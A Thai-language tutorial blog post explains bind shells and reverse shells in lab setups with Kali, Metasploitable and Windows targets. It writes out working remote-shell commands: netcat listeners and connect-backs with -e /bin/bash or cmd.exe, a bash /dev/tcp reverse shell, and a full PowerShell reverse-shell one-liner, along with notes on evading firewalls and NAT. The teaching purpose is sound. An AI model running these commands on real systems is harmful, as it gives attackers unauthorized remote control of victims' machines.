Bind Shell และ Reverse Shell

วันนี้เราจะมาอธิบายเรื่องของ Bind Shell และ Reverse Shell กันค่ะ เเต่ก่อนที่จะอธิบายในเรื่องนี้เราขอมาทำความรู้จักกับเรื่องของ Shell เเละ Port กันครับ

Shell คืออะไร?

Shell คือ โปรแกรมที่แปลคำสั่งของเรา และทำให้คำสั่งที่เป็นลายลักษณ์อักษรเป็นรูปแบบที่ระบบปฏิบัติการเข้าใจ ซึ่ง Shell จะทำหน้าที่เป็นตัวเชื่อมต่อระหว่างผู้ใช้ และระบบปฏิบัติการ โดยรับคำสั่งจากคีย์บอร์ดที่เราพิมพ์ไปและมอบให้กับระบบปฏิบัติการนำไปใช้

Port คืออะไร?

พอร์ต (Port) คือช่องทางการติดต่อสื่อสารกับตัวคอมพิวเตอร์ โดยหมายเลยแต่ละหมายเลขของ Port จะถูกกำหนดโดย Operating System (OS) ในที่นี้ขอให้ลองมองภาพเป็นเหมือนประตูบานหนึ่งที่สามารถเปิดเข้าไปเพื่อติดต่อกับเป้าหมายได้

ในการทำ Reverse หรือ Bind Shell เกิดกรณีได้ทั้ง 1. ติดตั้งโปรแกรมแล้วสั่งให้ติดต่อกลับมา (reverse) หรือเปิด Port ไว้ (bind) 2. ใช้โปรแกรมหรือคริปต์ต่าง ๆ ที่มีอยู่โดย default อยู่แล้วบนระบบปฏิบัติการ เช่น nc, /dev/tcp/, /dev/udp/, bash, python, powershell เป็นต้น

ซึ่งในการเชื่อมต่อมายังเครื่องของผู้โจมตีนั้น มีอยู่ 2 วิธีคือ Bind Shell และ Reverse Shell นั้นเอง

Bind Shell คืออะไร ?

Bind shells คือการให้เครื่องของผู้โจมตีเป็นฝ่ายติดต่อไปหาโปรแกรมหรือ Backdoor ที่ฝังอยู่ในเครื่องของเป้าหมายเพื่อทำการควบคุมเครื่องของเป้าหมายได้

ซึ่งวิธีการนี้จำเป็นต้องให้เครื่องเป้าหมายเปิดใช้งาน Listening mode เพื่อรอรับการเชื่อมต่อจากผู้โจมตีเเละ ตัวของผู้โจมตีต้องมี Port ของเครื่องเป้าหมายที่เปิดอยู่จาก จึงจะสามารถใช้การโจมตีแบบ Bind Shell เข้าโจมตีผ่าน Port ของเครื่องเป้าหมายได้

รูปแบบตัวอย่าง โดยการกำหนดให้ Linux เป็นเครื่องโจมตี เเละ ให้ Metasploitable เป็นเครื่องเป้าหมาย

ในเครื่องโจมตี

nc <IP-address> <Port-number>

ในเครื่องของเป้าหมาย run Listener ไว้

nc -lvnp <Port-number> -e {/bin/bash | cmd.exe}

ขอคั่นมาดูว่าเเต่ละคำสั่งที่ใช้คืออะไรบ้างกันก่อน

Netcat (nc) คือเครื่องมือที่ใช้งานสำหรับสร้างการเชื่อมต่อ TCP และ UDP ระหว่างเครื่องคอมพิวเตอร์ สามารถเขียน เเละอ่าน Port ที่เปิดใช้งานอยู่ได้

command ของ Netcat ที่ใช้ในบทความนี้

l = เปิด mode Listening

v = verbose (เพื่มการแสดงข้อมูลเพิ่มเติม)

n = กำหนดให้ไม่ต้องทำ DNS Lookup

p = ระบุ Port

e = ระบุไฟล์ที่จะให้ทำงานเมื่อเชื่อมต่อสำเร็จ

การโจมตีในรูปแบบนี้ ถ้าให้ยกตัวอย่างให้เห็นภาพมากขึ้นเหมือนกับการที่เราให้เหยื่อเปิดหน้าต่างทิ้งเอาไว้ เพื่อให้เราปีนเข้าบ้านได้หรือติดต่อกันทางหน้าต่างได้

ซึ่งหมายความว่าถ้าหากเครื่องเป้าหมายนั่นถูก Bind Shell ไปก่อนหน้านี้เเล้ว อาจทำให้ผู้ประสงค์ร้ายคนอื่นที่จะเข้ามาโจมตีภายหลัง สามารถนำไปใช้เป็นช่องโหว่เพื่อโจมตีต่อได้

ในการใช้งาน Bind Shell นั้นในความเป็นจริงแล้ว ถ้าเครื่องของเป้าหมายมี Firewall ที่จำกัดการเข้าถึงไว้แค่บาง Port แล้ว Port นั้นมีการใช้งานอยู่อาจจะต้องพิจารณาส่วนอื่นเพิ่ม หรือถ้าระบบนั้นทำ NAT/Proxy ด้วยอีกก็จะทำให้การทำ Bind Shell ไม่สะดวกหรือติดข้อจำกัดได้

Reverse Shell นั้นจะเป็นการกระทำตรงกันข้ามกับ Bind Shell โดยสิ้นเชิง กล่าวคือ เครื่องของผู้โจมตีนั้นจะเป็นฝ่ายรอรับการเชื่อมต่อจากเครื่องเป้าหมายให้ติดต่อกลับมา จึงจะสามารถเข้าถึง Shell ของคอมพิวเตอร์เป้าหมายได้

ในการเปิดใช้งาน Reverse shell ผู้โจมตีไม่จำเป็นต้องรู้ที่อยู่ IP ของเครื่องเป้าหมาย การโจมตีรูปแบบนี้สามารถทำได้โดยให้เครื่องของผู้โจมตีนั้นเปิดใช้ Netcat Listening mode และรอให้เครื่องเป้าหมายนั้นติดต่อกลับมายังเครื่องที่โจมตีด้วย Shell จึงจะสามารถเชื่อมต่อกันได้

รูปแบบตัวอย่าง โดยการกำหนดให้ Linux เป็นเครื่องโจมตี เเละ ให้ Metasploitable เป็นเป้าหมาย

ในเครื่องโจมตี run Listener mode ไว้

nc -lvnp <Port-number>

ส่วนในเครื่องของเป้าหมาย

nc <IP-address> <Port-number> -e {/bin/bash | cmd.exe}

การโจมตีในรูปแบบนี้ ถ้าให้ยกตัวอย่างให้เห็นภาพมากขึ้นเหมือนกับการที่เราเปิดประตูทิ้งไว้ เเล้วให้เหยื่อเข้ามาทางประตูที่เราเปิดทิ้งเอาไว้ เพื่อให้เหยื่อเข้ามาเป็นผ่ายที่ติดต่อเข้ามาเเทน

วิธีการโจมตีแบบ Reverse shells นั้นจะปกปิดจุดอ่อนบางประการที่ Bind shell ไม่สามารถทำได้ กล่าวคือ ไม่จำเป็นต้องให้เครื่องเป้าหมายเปิด Listener ค้างไว้ ซึ่งหมายความว่าวิธีการนี้จะไม่ทิ้งช่องทางให้ผู้โจมตีคนอื่น ๆ เข้าถึงเป้าหมายได้ และผู้โจมตีสามารถใช้ Port ที่ระบบส่วนใหญ่กำหนดให้ใช้ได้ (เช่น Ports 80, Ports 443) ซึ่งช่วยให้สามารถ Bypass Firewall ในเครื่องเป้าหมายได้ และยังไม่ต้องกังวลเกี่ยวกับการแปลง IP ด้วยระบบ NAT อีกด้วย

ตัวอย่างการทำ Bind Shell บน Linux ให้เชื่อมต่อกับ Window ด้วย Netcat

รูปแบบตัวอย่าง โดยการกำหนดให้ Linux เป็นเครื่องโจมตี เเละ ให้ Window เป็นเป้าหมาย

ลองให้เครื่องของฝั่งโจมตีใช้ nmap scan ไปที่ Port 4444 ของ เครื่องเป้าหมายเเล้ว Port ที่ 4444 ยังเป็นค่าสถานะปิดอยู่

เเต่พอให้เครื่องฝั่งเป้าหมายเปิด Netcat mode Listening ที่ Port 4444

จะสังเกตได้ว่า Port ที่ 4444 ของเครื่องฝั่งเป้าหมายเปลี่ยนเป็นค่าสถานะเปิดเเล้ว

ทีนี้ก็จะสามารถให้เครื่องฝั่งโจมตีไปเชื่อมต่อเข้ากับเครื่องของเป้าหมายได้ โดย

ในเครื่องโจมตี

nc <IP-address> <Port-number>

ในเครื่องของเป้าหมาย run Listener ไว้

nc -lvnp <Port-number> -e cmd.exe

ตัวอย่างการทำ Reverse Shell บน Linux ให้เชื่อมต่อกับ Window ด้วย Netcat

ลองให้เครื่องของฝั่งโจมตีใช้ nmap scan ไปที่ Port 4444 ของ เครื่องเป้าหมายเเล้ว Port ที่ 4444 ยังเป็นค่าสถานะปิดอยู่

เเต่ใน reverse shell นั้นสามารถที่จะเชื่อมต่อกับเครื่องของเป้าหมายได้โดยที่ไม่ต้องสนค่าสถานะของ Port ที่ต้องการจะติดต่อได้

โดยให้ในเครื่องโจมตีให้ run Listener ไว้

nc -lvnp <Port-number>

ส่วนในเครื่องของเป้าหมาย

nc <IP-address> <Port-number> -e cmd.exe

ตัวอย่างการทำ Bind Shell บน Linux ให้เชื่อมต่อกับ Linux ด้วย Netcat

รูปแบบตัวอย่าง โดยการกำหนดให้ Kali Linux เป็นเครื่องโจมตี เเละ ให้ Metasploitable Linux เป็นเป้าหมาย

ลองให้เครื่องของฝั่งโจมตีใช้ nmap scan ไปที่ Port 4444 ของ เครื่องเป้าหมายเเล้ว Port ที่ 4444 ยังเป็นค่าสถานะปิดอยู่

เเต่พอให้เครื่องฝั่งเป้าหมายเปิด Netcat mode Listening ที่ Port 4444

Port ที่ 4444 ของเครื่องฝั่งเป้าหมายเปลี่ยนเป็นค่าสถานะเปิดเเทน

ทีนี้ก็จะสามารถให้เครื่องฝั่งโจมตีไปเชื่อมต่อเข้ากับเครื่องของเป้าหมายได้ โดย

ในเครื่องโจมตี

nc <IP-address> <Port-number>

ในเครื่องของเป้าหมาย run Listener ไว้

nc -lvnp <Port-number> -e /bin/bash

ตัวอย่างการทำ Bind Shell บน Linux ให้เชื่อมต่อกับ Linux ด้วย Telnet

สามารถให้เครื่องฝั่งโจมตีไปเชื่อมต่อเข้ากับเครื่องของเป้าหมายได้ โดย

ในเครื่องโจมตี

telnet <IP-address> <Port-number>

ในเครื่องของเป้าหมาย run Listener ไว้

nc -lvnp <Port-number> -e /bin/bash

ตัวอย่างการทำ Reverse Shell บน Linux ให้เชื่อมต่อกับ Linux ด้วย Bash

รูปแบบตัวอย่าง โดยการกำหนดให้ Kali Linux เป็นเครื่องโจมตี เเละ ให้ Debian Linux เป็นเป้าหมาย

สามารถให้เครื่องฝั่งโจมตีไปเชื่อมต่อเข้ากับเครื่องของเป้าหมายได้ โดย

ในเครื่องโจมตีให้ run Listener ไว้

nc -lvnp <Port-number>

ส่วนในเครื่องของเป้าหมาย

bash -i >& /dev/tcp/<IP-address>/<Port-number> 0>&1

ตัวอย่างการทำ Reverse Shell บน Linux ให้เชื่อมต่อกับ Window ด้วย Powershell

รูปแบบตัวอย่าง โดยการกำหนดให้ Linux เป็นเครื่องโจมตี เเละ ให้ Window เป็นเป้าหมาย

เเต่ใน Reverse Shell นั้นสามารถที่จะเชื่อมต่อกับเครื่องของเป้าหมายได้โดยที่ไม่ต้องสนค่าสถานะของ Port ที่ต้องการจะติดต่อได้

ทีนี้ก็จะสามารถให้เครื่องฝั่งโจมตีไปเชื่อมต่อเข้ากับเครื่องของเป้าหมายได้ โดย

ในเครื่องโจมตีให้ run Listener ไว้

nc -lvnp <Port-number>

ส่วนในเครื่องของเป้าหมายใช้ powershell

powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘<IP-address>’,<Port-number>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

ข้อสรุปคือ

การใช้วิธีของ Reverse Shell ที่เป็นการให้เครื่องของเป้าหมายมาเป็นฝ่ายที่เชื่อมต่อกลับมานั้นทำให้ลบข้อจำกัดหลายๆอย่างที่มีใน Bind Shell จึงทำให้กลายเป็นวิธีที่ใช้ในการโจมตีที่พบเห็นได้บ่อย เเละนิยมใช้มากกว่า Bind Shell


เเละขอเเนะนำเว็บที่เพิ่มความสะดวกเเละรวดเร็วในการสร้างคำสั่ง Bind Shell เเละ Reverse Shell สามารถเข้าไปลองใช้ที่เว็บนี้ตามลิงค์นี้ได้เลยค่ะ

https://www.revshells.com/

สุดท้ายนี้หวังว่าบทความนี้จะทำให้ทุกท่านที่เข้ามาอ่านสามารถเข้าใจในความเเตกต่างของ Reverse Shell กับ Bind Shell ได้ เเละขอขอบคุณที่เข้ามาอ่านบทความนี้ครับ

0
1.1K